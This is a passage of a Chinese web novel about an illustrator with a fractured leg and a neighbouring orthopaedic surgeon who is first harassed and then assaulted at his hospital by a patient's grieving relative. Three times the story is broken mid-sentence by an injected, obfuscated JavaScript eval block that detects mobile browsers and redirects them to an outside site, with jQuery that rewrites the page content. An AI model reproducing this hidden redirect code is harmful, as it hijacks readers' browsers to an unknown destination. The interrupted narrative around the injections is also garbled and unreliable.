周桨鸣:……
无语凝噎。他聊哪门子的天?
周桨鸣只当是病人亲属对手术结果和后续费用的焦虑。
“我忙得很,没空聊天。”周桨鸣没好气。
都躲他是吧,爱躲躲去吧!正好让他清静清静。
周三的离职手续办得很顺利。等到周五下班,黄转青就能直接离开。
楼下新开了一家火锅店,这个季节也正适合吃这玩意儿。
隔着玻璃看窗边那一桌,物品在蒸腾的热气中微微扭曲。
喧嚣隔着玻璃也变模糊。
恍惚间也觉得窗边某个人很像周桨鸣,黄转青想打开微信问问是不是他。
过了一会儿,视线清明。
不像,压根就不是他。
黄转青嘘了自己一声。
她想起了和周桨鸣吃的那一顿火锅。一种难以言喻的感觉。
她关掉了大脑,继续往前走。
生活不是电视剧,没有那么多戏剧性的和解或冲突。
有些情绪,有些瞬间,更适合像十七楼那两把椅子一样,安静地存在。
如同窗台上那些植物,自顾自生长,吸收着阳光、空气和水,也承受着干燥、虫害或偶尔的遗忘。
它们沉默却自有力量。
黄转青快半个月没再推开那扇消防门,一级一级,爬上十九楼。
但是某一天,她一定会再次推开,会经过十七楼那个转角,那里或许有两把椅子,或许没有。
或许会遇到一个沉默抽烟的身影,或许不会。
但是都和她没有关系,她只需要爬上去就好。
她一开始的目的也只是爬上去。
23. 意外之灾
上了很久的班,骤然回归自由,除了意料之中的如释重负,往往也有意料之外的一脚踏空感。
周五走出大楼后,黄转青赶紧深呼吸几口,让这空空能够沉淀下来。
中午黄转青和原画组已经聚完,吃了散伙餐。
再单独和汪蓝、虞鱼约了周末的饭。
而此时此刻,黄转青在去医院的路上。
膝盖以及膝盖下方的小腿,难受了一下午。
她想先确认一下严重程度,于是一下午不停的变换姿势、或者轻微用力。
最后确认了,这个程度一定得去趟医院……
仔细想来也不是今天才不舒服,前几天就隐隐不适。
只是前几天时间紧任务重,身体很懂事,没让她感到明显异常。
今天神经一放松,身体就开始传达信息:救我!
黄转青皱眉。
是爬楼梯爬的吗?半月板磨损?还是最近搬东西搬的?
她对自己的身体是重视的。
尤其现在挣脱束缚,要在新天地里大展拳脚,更加不想被身体拖后腿,不想被这点沙砾膈应住她的憧憬。
不拖,还特意挂了一个完全陌生的骨科医生号。
尽量避免和周桨鸣的交集。
就是有点此地无银。
终于轮到她。
诊室里是一位面容和善的中年男医生。
黄转青详细描述症状的位置和感觉,以及自己的猜测。
“膝盖和小腿连接处的不适,确实可能是膝关节的问题,但也不排除其他原因。比如应力性损伤、肌腱炎,甚至小腿骨本身的问题。先拍个片子看看。去放射科拍个右小腿正侧位的X光片吧,包括习惯姐。”
陈医生在系统里开了检查单。
黄转青拿着单子道谢,起身时右腿用力,痛又清晰了一点。
挪出诊室,按着指示牌往放射科走。
医院里人满为患,她低着头,怕谁不小心撞到自己腿。
刚拐过一个弯,接近影像科登记处的走廊就又争吵声渐行渐近,黄转青也被这动静吸引。
一个头发花白的老人,情绪激动地对着一个穿着绿色手术服的身影大声嚷嚷,唾沫星子喷到对方脸上。
“你们这是什么医院?啊!我孙子脚都断了!你们就把他扔在这走廊里?连张床都没有!医生呢?医生都死哪去了!我出去买个烧饼的功夫,回来连个鬼影都没了!你们是不是不想管了?!”
被吼的对象正是周桨鸣。
他看起来比黄转青记忆中任何一次都要狼狈。
黄转青千防万防,但在这家医院,尤其是骨科相关区域撞见他,又是某种概率上的必然。
意外也不算太意外。
只是这相遇的时机和地点,实在算不上美好。
手术帽歪戴着,两鬓的头发汗津津贴着。整个人根本没法看……
显然刚从手术室下来。不赶巧,就被这个老爷子拦住。
面前的移动担架床,上面躺着一个七八岁小男孩,右脚踝处有点变形。
此刻噪音穿耳不能过,徒徒留在脑子里,让人心烦气躁。
小孩嗷嗷地哭,爷爷也哇哇吵。
周桨鸣倒是好脾气,努力压着火解释:“您先冷静。孩子是踝关节骨折,需要尽快手术。但今天急诊和骨科的加床全满了,一张空床都没有。脊柱科那边刚好有术后病人转出,监护设备齐全,离手术室也近。所以才临时协调把孩子先推到那边去做术前检查和准备。这是为了尽快安排手术流程!”
也不是天生好脾气,只是怕被投诉。
“放屁!”老人根本不听,挥舞着手臂,手腕处还挂着一串钥匙,钥匙串上还有个小汽车的挂件。
“什么脊柱科!我孙子是脚断了!不是腰断了!你们就是推诿!就是不想收!我孙子要是有个三长两短,我跟你们没完!”
他越说越激动,听着孙子的哭声,一时急怒于一体,举起手里刚买的烧饼,正经就要朝周桨鸣脸上砸过去!
“我让你不管!”
一旁的年轻护士吓得脸都白了,赶紧扑上去拦住:“大爷您别激动!不能打医生!周医生说的是真的!我们真的是为了孩子能快点手术!床位实在太紧张了……”
场面一片混乱。
周桨鸣就站在原地。
怎么也不躲啊!
急得黄转青拖着腿往前蹿了两步。
周桨鸣懒得躲,他只觉得累。
在这种时候,任何情绪都可能引爆对方,导致更严重的后果。
忍吧,忍就完了。
他忍得了,黄转青忍不了。
平时虽然社恐,但看不得这种无理取闹,欺负老实人的事情!
几步上前。
“您讲点道理行不行?医院床位满了是客观事实,医生想办法给您孙子协调到有设备的地方做术前准备,是为了节省时间尽快手术。您孙子躺在这儿看着呢,您这样闹,除了耽误他治疗,吓着他,还有什么用?”
周围围观的人也小声议论,有人主动出头,跟着指责的声音就多起来。
老人看着黄转青,又看看担架上的孙子,再看看眼前的周桨鸣。
哼了一声,不再说话。
护士趁机赶紧把老人安抚到一边,低声继续解释。
另一个护士拿着术前同意书匆匆跑了回来。
周桨鸣也看到突然出现的黄转青。
没料到会在这里以这种方式看到她。
看到就看到吧,他现在简直要累飞了。
虽也觉得自己这样太糗。但事已至此,那就随便吧……
眼睛往下,不可避免看到了她手里拿着的影像检查单。
“你怎么了?怎么手上拿着这个?”他指了指她手里的检查单。
“膝盖和小腿有点不舒服,我担心是爬楼梯的原因。陈医生说先让我拍个片子看看。”
周桨鸣观察她的状态。
她试图保持正常站姿,却又会悄悄承重到左腿。
“我记得你只是爬楼梯上楼,并没有爬楼梯下楼对吧?半月板应该不至于这么容易出问题。再者说,你最近不是都没爬楼梯了么。”
他怎么知道她最近没爬楼梯?
黄转青没问出口,她要去登记拍片子了。
周桨鸣却没让开的意思,反而用手示意了一下放射科的方向,“正好,我也要等个报告。片子室在那边,跟我来吧。”
仿佛只是顺路带个同事。
黄转青还能说什么?拒绝显得更刻意。
周桨鸣熟门熟路,帮她处理了登记手续,节省不少时间。
等待叫号的过程中,他靠在墙上闭着眼睛。
黄转青忍不住偷偷看了他一眼。
头发乱糟,胡茬青青,手术服领子还翻着。
看来上一场手术做得不轻松,一下来又碰到这么个事。
她有点担心他。
周桨鸣像是感应到什么,睁开眼,对上她打量的目光。
黄转青立刻别开脸。
周桨鸣没说什么,等黄转
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190024|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
青进去后,他走进了旁边的医生休息室。
等黄转青拍完片子出来,周桨鸣头发湿漉漉的,脸也洗了干净,显得挺清爽。
他用手指胡乱抓了抓湿发,试图挽救一下发型。
虽然效果有限,但比起刚才的难民,总算恢复几分人样。
陈医生招呼黄转青进诊室时,周桨鸣也跟了进去,一副我听听的架势。
“你看这里。”陈医生指着X光片上,右小腿腓骨中下段的位置。
黄转青凑过去看。
“这里,腓骨中下段,有一处线性骨折。”
“骨折?怎么会骨折啊?”黄转青完全没印象。
“你仔细回忆一下,最近几天,有没有过跌倒、扭伤,或者被什么东西撞到小腿外侧的经历?这种骨折,通常是由直接暴力或者扭转暴力造成。”
想起来了!
“前天晚上,我被一摞书绊了一下,整个人侧着摔地上了。不过当时就疼了一下,也没肿没青,我就没在意。”
靠在门框上的周桨鸣,白眼几乎要翻到后脑勺去。
忍了又忍,还是没忍住:“摔得骨头都裂了缝,还能把这事忘得一干二净。忍者神龟见了你,都得递根烟喊声前辈。”
“你也好意思说我……”
“我怎么了?”
“人家大爷都要打你脸了,你躲都不多。怎么,等他打完你要把另半张脸也凑上去让他打对称点?说忍者究竟谁是忍者?”
“……”
陈医生这下感兴趣了!
“小周?谁要打你?!快跟我说说!”
周桨鸣:……
不是,你问就问,你表情这么兴奋是干什么?
“没事儿,就一个大爷因为孙子没床铺所以情绪比较激动。”
“打你脸了?”陈医生不依不饶。
“没打着,被拦住了。”
“噢……”陈医生不再问了。
不是,你噢就噢,你表情这么失望是干什么?
黄转青不失望,她是梗着脖子瞪周桨鸣:“你能不能先出去?”
“不能。”
周桨鸣双手插袋,甚至找了个座位坐了下来。
“我怕你待会儿把医嘱忘了,回头还得赖我们医院没看好。”
“你!”黄转青气得说不出话,转头看向陈医生,眼神求救。
陈医生赶紧打圆场:“好了好了,周医生也是关心则乱。关心则乱!”
他显然看出来小周和这姑娘关系不纯,难怪呢,前几天院办那边张罗着要给周桨鸣组相亲局,被他激烈反对。
院办同事问他:“是有心上人了?”
周桨鸣神情恹恹嗯了一声,引发哇声一片。
他也想问呢,心上人是谁啊?
今天似乎就见到了。
应该没跑吧?
陈医生磨刀霍霍,是准备要晚上大肆八卦一番的。
周桨鸣已经预见到,接下来几天院里食堂都会用什么下饭。
陈医生咳两声,对着黄转青认真起来:“现在找到原因就好。腓骨是下肢的非承重骨,单纯的中下段线性骨折,没有明显移位,通常不需要手术。”
他拿起桌上的石膏模型给黄转青解释治疗方案。
“明白了吗?现在就去处置室打石膏吧。”
陈医生说完示意二人可以出去。
周桨鸣看着她瞬间垮掉的脸:“又疼了?现在知道蔫了?走吧,处置室在隔壁。”
说完朝她伸出手,是要扶着她的意思。
24. 共享的秘密
黄转青坐在处置床上,右小腿从膝盖下方到脚踝都被石膏包裹,像根白色柱子。
看着自己失去自由的腿,黄转青还是蔫头耷脑。
刚获得的广阔天地,还没开始翱翔,就先被套上枷锁。
这感觉真是太糟糕。
护士不管她感觉糟不糟糕,热情递给她一副腋拐。
叮嘱着使用方法和注意事项:“记住啊,伤腿绝对不能落地用力!至少4-6周!定期复查!消肿药记得吃。”
黄转青闷闷不乐点头,行动笨拙。
周桨鸣等在门外,看着她垂头丧气的样儿,走上前扶住她的胳膊。另一只手把拐杖塞到她腋下。
“站稳了。”
黄转青借着他的力站稳,拄好拐杖,又抬头看他。
此刻近距离才发现,周桨鸣眼里的红血丝多得吓人,脸色灰败,嘴唇泛白。
“你还活得下去吗?”
黄转青由于自己心情原因,所以问出来的语气十分悲伤。
听着像是周桨鸣快不行了。
“……”
周桨鸣不知道这种问题是怎么问出来的,也不知道怎么回。
索性不回。
黄转青继续:“是不是你今天做的手术很难啊?”
周桨鸣扶着她慢慢往外走,嗯了一声。
“做了一台老年女性的关节置换。术中出了点状况。脂肪栓塞,还有对骨水泥的过敏反应。”
黄转青虽然不懂具体,但这两个词听起来就有点凶险。
“那病人?”
“救回来了。”周桨鸣语气平淡,“按应急流程处理了,暂时稳定,送ICU观察着。”
“那就好!你真优秀!”
周桨鸣听完被逗笑。随即又叹了口气。
“麻烦才开始呢。”
“什么麻烦?”黄转青拄着拐,有节奏的慢慢挪。
“抢救过程要详细记录,术中突发状况要写不良事件报告,整个手术记录要补充说明。一堆文书,明天得来加班写。最烦写这玩意儿。”
接下来要面对的案牍劳形真是没处说理去。
黄转青看着他的侧脸,又想起刚才他被老人指着鼻子骂,被烧饼砸脸的场景。
这人今天,真是倒霉他妈给倒霉开门,倒霉到家了。
走到缴费窗口,等待的间隙,黄转青开口:“那你今天还有别的事吗?手术什么的?”
周桨鸣正低头看时间,闻言疑惑:“我没事了。怎么?你还有事?”
他以为她担心后续治疗问题。
“不是我的事。”黄转青摇摇头,“我是说,如果你今天没事了的话,等我这边弄完了,我可以送你回家。”
周桨鸣:“……?”
匪夷所思。好荒谬。
他上下打量了一下黄转青。
右腿打着石膏,腋下拄着拐,站都站不太稳当,整个人行动受限。
“你?”周桨鸣指着她,又指了指自己,“送我回家?”
“对啊,我给你当保镖。”
“石膏腿保镖?歹徒笑场算谁的?”
黄转青愤愤给了他肩膀一下。
眼睛看向他手肘外侧,有一道不算长的红痕,微微肿起。
是刚才混乱中老人挥舞时,钥匙串不小心刮到的。
“你看。”黄转青指着那道伤痕,“你手上都挂彩了。你不觉得你今天特别招灾吗?是不是出门没看黄历?我觉得你需要个保镖。在你安全到家之前,我得看着点。”
周桨鸣顺着她的目光看向自己手臂上的划痕,之前精神紧绷,没注意到这点小伤。
“那会儿你为什么不躲啊?就等着被他砸?你想什么呢?”黄转青追问。
“想那个烧饼看起来挺香,好饿。”周桨鸣坦诚。
“……”黄转青无话可说。
“反正我送你回家。”她这回很严肃。
周桨鸣还想嘲讽两句,却发现没什么力气。
最终只是移开目光。应了一声:“随你便吧。”
算是默许了这个荒唐提议。
等黄转青这边结束,周桨鸣也叫好了车。
“走吧,保镖。”
黄转青假装没听出他的调侃,拄着拐跟在他旁边。
周桨鸣拉开后车门,小扶着黄转青坐进去,把她的拐杖也放好,自己才从另一边上车。
周桨鸣靠在椅背上很快就睡着。车厢里很沉默。
几乎是车一停,周桨鸣就醒了。
先下车,然后绕到黄转青这边,拉开车门扶她下来,把拐杖递给她。
电梯升到十九楼,周桨鸣扶着黄转青走到她家门口。
家门口把手上挂着一份外卖。
“到了。”他松开手,“自己小心点。别乱动。”
黄转青点点头,把外卖递过去:“给你点的。”
周桨鸣挑了挑眉,打开,里面是十个烧饼。
黄转青用很夸张的语气:“怎么样!Surprise!”
周桨鸣:“……”
他又被逗笑了。
黄转青看着他笑,自己也笑了,两个人像傻子一样站在门口大笑。
黄转青笑着打开了门,她没养猫,所以可以大敞着门。
这开着的门,让周桨鸣得以看到门口的快递箱。
是很熟悉的一个快递箱,他也买过,所以一眼就看了出来。
《柯蒂斯植物学杂志》的包装。
他没忍住又笑了,这一次是自嘲的笑。但是黄转青分不清。
周桨鸣晃了晃烧饼,“正好我饿死了。谢谢你,晚安。”
“晚安。”
周桨鸣走向电梯,背影似乎都轻松了一点。
九月底,秋老虎照旧发威。植物倒不怕老虎。
中华桔梗开得像个五角星,月季和天竺葵像女明星,周桨鸣借花献佛送的那盆丽花球也自顾自热情高涨,不落任何花之后。
黄转青定期发照片给陈毓,省去了周桨鸣这个中间商。
有人敲门,黄转青费力去开。
“Surprise!”
门外站着两张熟悉的笑脸,发出和黄转青昨晚一模一样的对话。
虞鱼一手提着一个果篮,里面装着搭配好的适合送礼的水果,中看不太中用。
另一只手晃着一盒车厘子,中看又中用。
汪蓝则拿着两个保温桶。
“不是说了不用特意过来嘛。”
黄转青让她们进来。
骨折的腿被石膏固定,像个装饰品。
“少来!说好的周末火锅局呢?你这一跤摔的,局泡汤了,我们不得来看看伤员?”
虞鱼换鞋,还没换完呢,目光就被绿意吸引,“你家这都快成植物园了!”
啧啧称奇,走到琴叶榕旁边,摸了摸厚实的叶子,“这大家伙,养得真精神!怎么养的啊?”
汪蓝把保温桶放在餐桌上,也环顾四周。
“是啊,这么多植物,在北京养可不容易,不比厦门能随便活,样样都得操心。”
她走到虞鱼身边,也用手指捏了捏叶片,“你这阳台光照不错。”
黄转青笑了笑:“瞎养呗,勤快点浇水喷水,偶尔施点肥。就是冬天估计费劲,怕叶子焦边。”
汪蓝点点头:“你这地方有点施展不开啊。这么多宝贝挤着,委屈它们了。”
转过身面向黄转青建议。
“你有没有想过干脆去燕郊那边租个小院子?年付房租,算下来跟你在这儿月供差不多,甚至可能还便宜点。空间大得多,阳光也好,别说这些,你想种菜、养花,怎么都行。反正你现在是自由职业,住哪儿不是住?”
阳光满溢的露台,肆意生长的花草,远离城市的喧嚣……这个画面很诱人。
黄转青一起环顾了一下这间租屋。
“是有点动心。”
她没否认,语气坦诚。
“动心就行动啊!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190025|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等腿好了,我陪你看房去!我有一姐们儿住那儿快一年了。”
汪蓝说完,虞鱼已经把带来的水果洗好一部分,装盘端了过来。
于是汪蓝也去把保温桶打开,一桶是猪蹄黄豆汤,一桶是玉米排骨汤。
“猪蹄黄豆是我炖的,我妈说我炖的不好喝,又给你炖了玉米排骨,我不信邪,就都带来了。你慢慢喝吧!”
火锅外卖适时送到。
三人坐下,电磁炉伤,红油咕嘟。
“开动开动!”虞鱼大喊!率先下筷。
吃了没一会儿,黄转青接起了妈妈的电话。深吸了一口气,才拿起手机。
“喂,妈?”
她的声音切换成一种刻意的乖巧。
“青青啊,十一回家的票买好了没有?几点到家?你爸说去车站接你。”
虞鱼和汪蓝也停下筷子。
她们没有交换眼神,但很默契。这份默契泄露了她们对于黄转青神情状态的捕捉。
无来由的默契,无来由默契的沉默,无来由默契的回避,无来由默契的低头,似乎是独属于女性的秘密。无来由共享的秘密。
黄转青语气惋惜,惋惜得有点夸张。
“妈,太不巧了,我前几天不小心摔了一跤,腿骨折了。打上了石膏,十一回不去了。”
语气里听不出沮丧。
电话那头是一连串的追问,和夹杂着埋怨的关心:“怎么搞的?严不严重?在哪家医院看的?怎么这么不小心?多大人了还能摔骨折?那工作怎么办?”
黄转青耐着性子一一应付过去,保证只是小问题,养养就好,工作可以居家,让对方不用担心。
对话持续了不到五分钟就结束。
电话一挂断,黄转青吐出一口气,嘴角向上。
前一天还觉得碍事的石膏,此刻不再是束缚,而是闪闪发光的挡箭牌。
“来来来,汤都要煮干了!快吃。”虞鱼招呼。
汪蓝提起新话题:“虞鱼,你上次不是说去火神庙拜了拜吗?灵不灵?我看你朋友圈发那个签文了。”
虞鱼立刻会意:“挺玄乎的!我小姨前阵子不是总不顺嘛,工作家庭都闹心。回来后反正没两天,她那工作调动就黄了,老公那边也消停了,现在好着呢!你说神不神?”
汪蓝点点头:“听着是挺灵的。那等我十一出去玩回来,咱们仨一起去一趟呗?求个心安。”
“好啊!”虞鱼积极响应。
她看向黄转青,“你有空吗?”
黄转青自然点头:“行啊。”
汪蓝又像是突然想起来,补充道:“对了青青,今年过年,你这边要是有什么不方便,或者想换个环境清净清净,可以跟我一块儿去燕郊过年。我那个姐们儿在那儿租了个挺大的院子,养了七八只猫呢!空房间也有。暖和,安静,还能玩猫,你要是真动了租院子的心思,正好也能去看看环境。”
“我也要去!带我一个!玩猫加我一个!”虞鱼举手报名。
黄转青抬起头,看着两外两边的这两个人。
她们刚才的低头沉默,此刻的热情计划。黄转青也同样知晓那份默契的秘密。
黄转青笑容明亮而坦荡:“好啊!一言为定!”
一顿火锅吃得宾主尽欢,直到天也沉沉,人的精神也沉沉,虞鱼和汪蓝起身收拾残局。
“青青,你复查都分别是哪几号?”汪蓝一边擦桌子一边问,“我们看看时间,轮流过来陪你。”
“对对对。”虞鱼把垃圾袋口扎紧,“我随时待命!上次我黄体破裂住院,你照顾了我好几天,我可不是那种忘恩负义的人!别跟我客气啊。”
黄转青踏实靠在沙发上,受伤的腿搁在垫子上。
“放心吧,需要帮忙的时候,我绝对不会跟你们俩客气的。”
虞鱼和汪蓝一人拎起几袋垃圾,笑着跟她道别。
“走了啊,有事电话!”
“好好养着!燕郊的院子等着你呢!”
25. 医闹
日历哗啦啦翻过一周。
窗外秋高气爽,正是国庆黄金周的开端。
一周的时间,黄转青已经初步适应了独脚的生活,拐用得越来越熟练。
虽然行动不便,但植物园项目的初期沟通和草图构思倒是丝毫未停滞,反而在静养中生发出更多灵感。
脚步被石膏牵制,内心的方向却很明晰。
汪蓝发来照片,身处泽普金湖杨国家森林公园,胡杨林迎来一年中最绚烂的季节。
金黄的叶子在湛蓝天空的映衬下,随风婆娑。
胡杨无法言语,只舞之蹈之。
汪蓝戴着遮阳帽,笑容耀眼:“已抵达!青青复查顺利!等我给你带牛肉干和大枣!”
黄转青笑着回了个“玩得开心!”
虞鱼的电话追过来:“青青!明天几点出发?我保证准时出现在你家楼下,护送你一路畅通无阻!”
黄转青感动之余,眼前浮现出明天的景象:虞鱼得先从朝阳区来到回龙观接她,然后再一起去医院。
十月一,哪儿哪儿都是人,虞鱼赶过来这一路上不知道有多麻烦。
黄转青觉得自己的腓骨还没好,头骨又要裂开了。
她绞尽脑汁,想尽各种理由拒绝虞鱼,都被反驳。
最后,一个念头像灯泡一样亮了起来——远亲不如近邻!古话诚不欺我!
周桨鸣!
是不是可以问问他?万一他明天刚好休息?万一他顺路?
黄转青自己都觉得有点厚脸皮,但眼下似乎是最优解。
她清了清嗓子,准备结束和虞鱼的拉锯战:“这样,我先……”
话刚开了个头,她又收到小林的新信息,由于这个好友现在很陌生,所以比起熟悉的人的信息,更能吸引注意力。
信息内容很简单:青青,听阿姨说你十一不回老家,腿骨折了?我正好十一期间在天津出差,明天有空。方便的话,我开车过去看看你?
黄转青关于周桨鸣的纠结和不好意思,一下子,就被命运眷顾的惊喜感所冲刷。
刚有瞌睡就有人送枕头,还是前男友牌的。
虽然枕头的身份微妙,但此时此刻简直就是天降神兵。
比麻烦周桨鸣或者让虞鱼跨越几个城区要省心太多。
她听到心里小人在欢呼雀跃。
“喂?青青?喂?”虞鱼在电话那头疑惑。
“在在在!”黄转青回神,“好消息!我一个朋友明天刚好有空,有车,能直接送我去医院。就不麻烦你跑一趟了,你的心意我领了!”
“朋友?谁啊?靠谱吗?”虞鱼狐疑。
“靠谱靠谱!你就放心吧,安心过你的假期!”
黄转青赶紧保证,生怕虞鱼再追问下去。
她总不能说是前男友吧?也不是不能说,就是又要浪费时间解释。
挂了虞鱼的电话,黄转青手指翻飞,怕这枕头跑了:“我把地址发给你!正好我明天下午去复查,你有车真是救了大命了!方便的话大概下午三点到我家楼下?”
“好,没问题。三点见。”
黄转青长舒一口气,对着自己打着石膏的腿得意地晃了晃脚趾头。
周桨鸣这时也来问过她,明天复查要不要开车接她过去。
黄转青还没来得及回复不用,周桨鸣已经又说了抱歉,医院这边有急诊,他今天晚上回不来。
黄转青不太在意,反正难题已经解决!
第二天中午两点半,黄转青已经收拾妥当,拄着拐杖,像个出征的战士。
“青青。”小林下了车,快步走过来,目光落在她的拐杖和石膏上,“怎么搞成这样?疼吗?”
“不小心摔的,好多了。”黄转青故作轻松地笑笑,“麻烦你了啊,还特意跑一趟。”
“客气什么。”小林帮忙拉开车门,小心扶着她坐进去。
医院离家不远,导航显示也就二十分钟车程,顺利的话,三点半就能到。
然而不顺利。
在距离医院还有几百米的时候,这段路仿佛变成了一个移动停车场。
车辆缓慢蠕动,喇叭声彼伏交织。
“这人也太多了吧?”小林看着前方望不到头的车尾。
十分钟,车子只向前挪动了不到五十米。
二十分钟,依然在入口附近打转。
小林尝试跟着车流寻找空隙,甚至想绕到附近的小路看看有没有空位,结果发现所有能停车的犄角旮旯都塞满了车。
“不行,根本找不到车位。”小林看了看表,已经快三点。
黄转青也看着窗外越来越近却始终无法抵达的目标。
“这样耗下去不是办法。你靠边把我放下吧,我自己先拄拐进去。你慢慢找地方停,实在找不到就在这附近转悠,或者找个能临时停的地方等我电话。我这边弄好了出来找你。”
小林看了看外面混乱的车流和人行道,又看了看黄转青打着石膏的腿,满脸不放心:“你自己行吗?这离门诊楼还有段距离呢!人这么多。”
“总比在这干耗着强。”黄转青已经伸手去解安全带,“我慢点走,能行。你停好车给我发消息。”
小林无奈,只能艰难找个靠边的空隙,让黄转青下车。
黄转青单腿蹦下车,拿好拐杖,在人行道和车流的缝隙中站稳。
“快去找地方吧,我进去了!”
走进门诊大楼,一个身影便与黄转青几乎一路并行。
二人一起挤进了即将关闭的电梯门。
那是个中年男人,身材敦实,穿着工装。
走路时右腿明显有些不利索,微微跛着。
进电梯时帮黄转青挡住电梯门,也帮忙挡了下差点挤到她腿的人。
电梯里人不少,黄转青拄着拐,重心不稳,往旁边踉跄了一下。
一只粗糙的手及时伸过来,扶住了她的胳膊。
还是那个中年男人。
黄转青连忙道谢。
但他似乎根本没听见这声道谢,也没有看她一眼。
神情焦灼,心神不宁。
他的手很快收了回去,看着电梯跳动的楼层数字。
嘴唇还有些颤抖。
黄转青看着他的表情,有悲伤、还有戾气。混合在一起,是不安。
这让黄转青也开始觉得不安。后背的汗毛都竖了起来。
门开了。
巧的是二人同一层下。
中年男人低着头,也不管别人,闷头就冲出去。
黄转青拄着拐,看着那个消失的背影,不安的预感越来越强烈。
复查过程很顺利。
陈医生看了看她的石膏,检查了固定情况,又让她去拍了个片子。
骨折线没有移位,愈合情况良好。
“继续保持,别负重,下周再来复查一次。”陈医生叮嘱。
黄转青松了口气,拄着拐走出诊室,才看到了小林发来的消息,说已经找到停车的地方,等黄转青给他发消息,他就再往这边开,过来接她。
她人这会儿走到诊区连接大厅的走廊入口,正要发消息让小林可以开过来。
“啊——!!!”
尖叫声扎了出来。
黄转青心中一直萦绕的不安迅速膨大,变质,成为恐慌。
甚至来不及思考这恐慌从何而来,身体已经先于大脑做出反应。
她扶着墙想要快速腾过去,因为着急,拐掉在了地上,也来不及捡,索性扶着墙开始单腿蹦。
用尽全身力气,以一种狼狈又不管不顾的姿态,朝着尖叫声的方向跳跃。
“杀人凶手!周桨鸣!你还我侄子的命来!!”
“庸医!黑心医院!你们害死了他!!”
“赔钱!偿命!!”
那边是歇斯底里的咆哮和哭嚎,夹杂着物品被砸碎的声音。
黄转青的心咚咚跳。
她竟然还分心往外看,看到了一片晚霞。
她又想起了那一次拜拜。她没看到的那场晚霞。
这一次黄转青心里想的是:拜托,别让周桨鸣也看不到晚霞。
在她的心脏冲破胸腔之前,她终于挪到了风暴的外围。
诊室门口一片狼藉。候诊椅被掀翻在地,宣传架被推倒,资料散落得到处都是。
人群惊恐退开,形成一个混乱的包围圈。
圈子中心,是那个她刚刚在电梯里见过的中年男人。
他眼睛都红了,鼻涕和眼泪糊在一起,他用手擦了擦,脸上沾染了粉色,黄转青才得以看到他手上有血。
黄转青再看,周桨鸣个子高,这让他成了显眼的靶子,一眼被她捕捉到。
他穿着白大褂,左臂袖子上靠近肩膀的位置,洇开了一片红色血迹。
那个中年男人再次挥舞着拳头,朝着周桨鸣救药猛扑撕打。
周桨鸣没有还手,甚至没有试图挡一下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190026|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他弓着背,双手垂在身侧,脸色惨白。
眼神里甚至没有了疲惫,看着只有茫然。
周桨鸣一直看着对他重拳出击的中年男人,看着那曾经是病人家属、甚至也当过他的病人的脸,眼神空洞。
那个和周桨鸣同岁的司机今天中午宣告抢救无效死亡。
这悲痛,此刻化作怒火,毫无道理地倾泻在周桨鸣身上。
“就是你!我侄子手术前还好好的!就是被你治死的!”
姑父嘶吼,唾沫星子喷了周桨鸣一脸。
“你当初给我做手术也不用心!就想快点打发我!我都知道!你们这些黑心医生!眼里只有钱!拿人命不当回事!”
他颠倒是非,将之前周桨鸣对他的尽心治疗和协调床位,扭曲成敷衍和不负责。
周围的人议论纷纷,有人面露不忍,有人拿出手机拍摄,但没有人敢上前。
姑父疯癫,手里还攥着东西。
保安正从远处赶来,但显然来不及阻止这一轮攻击。
周桨鸣依旧一动不动。
他听到了那些污蔑,那些颠倒黑白的指控。
只是他一直以为,即便有误解,即便家属焦虑,但至少他们是知道他尽力了的。
那个司机,他尽了最大的努力去延长他的生命,减轻他的痛苦。
周桨鸣垫付医药费,安抚那对老父母,还有这个姑父。
姑父骨折时,也是他主动接诊。
哪怕周桨鸣自己知道自己偶尔装不下去,会态度不好,但他从未想过,从未想过有一天,会被如此彻底地否定和践踏。
信任崩塌。荒谬混合着对病人离世的悲伤,将他控在原地。
甚至忘记躲避,忘记自我保护。
只是看着那张因愤怒和悲痛而扭曲的脸,确认这是否是一场噩梦。
“去死吧!”姑父猛地扬起手,手里是一个金属病历夹。
他像平日里周桨鸣做手术时抡锤子一样,用尽全身力气,朝着周桨鸣的头部砸去。
这一下身体的本能倒是让周桨鸣偏了头。
金属病历夹的棱角,砸在了周桨鸣的右侧下颌骨上。
周桨鸣闷哼一声,眼前一黑,向后倒退了好几步,撞在门框上才勉强稳住。
温热的液体从下颌被砸中的地方涌出来,顺着脖颈流下,染红了白大褂的领口。
周桨鸣感觉自己的牙齿在说话,吵吵嚷嚷发出鸣叫。
人群发出更大的惊呼。
混乱到极致,黄转青从恐慌中找回了自己的理智。
她从一靠近就在录像,包括现在。
“住手!”黄转青大声嘶喊,声音变调,“我已经报警了!警察马上就到!你刚才打人的全过程我都录下来了!这是故意伤害!”
